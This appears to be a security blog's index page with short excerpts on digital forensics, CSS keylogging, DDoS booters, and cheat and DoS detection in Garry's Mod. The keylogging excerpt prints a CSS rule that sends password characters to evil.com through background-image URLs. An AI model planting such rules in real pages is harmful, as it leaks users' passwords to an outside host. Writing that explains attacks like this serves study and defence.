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September 12, 2024

Problems of Digital Forensics

The main goal of digital forensics is the extraction of data from electronic evidence and its subsequent analysis and processing into usable information. A major challenge lies in the flexibilization…
March 21, 2024

Better solution for CSS keylogging

The described keylogger is avaliable on my GitHub. How it works A primitive approach is a one-to-one mapping between characters and selectors: input[type="password"][value$="a"] { background-image: url("http://evil.com/?key=a"); } input[type="password"][value$="b"] { background-image:…
April 18, 2025

Bad OPSEC

Buying a cheap DDoS booter service does not require any technical knowledge or brilliance. It's rather a trivial task to make smaller services on the internet unavailable, but the person…
March 25, 2024

A method to detect Lua cheats

The code I wrote for this article can be found here. When detecting cheats in the game Garry’s Mod you have countless options. Suppose we want to detect a known…
April 16, 2025

How To Crash Servers

In a previous blog I discussed how to detect DoS attacks in the game Garry's Mod. TL;DR: Measure the time it takes the server to process a clients requests. If…
March 27, 2024

Detect DoS attacks in Garry’s Mod

The code discussed in this post is part of my open source anticheat and can be found here. In the game Garry's Mod, client and server can communicate via Netmessages.…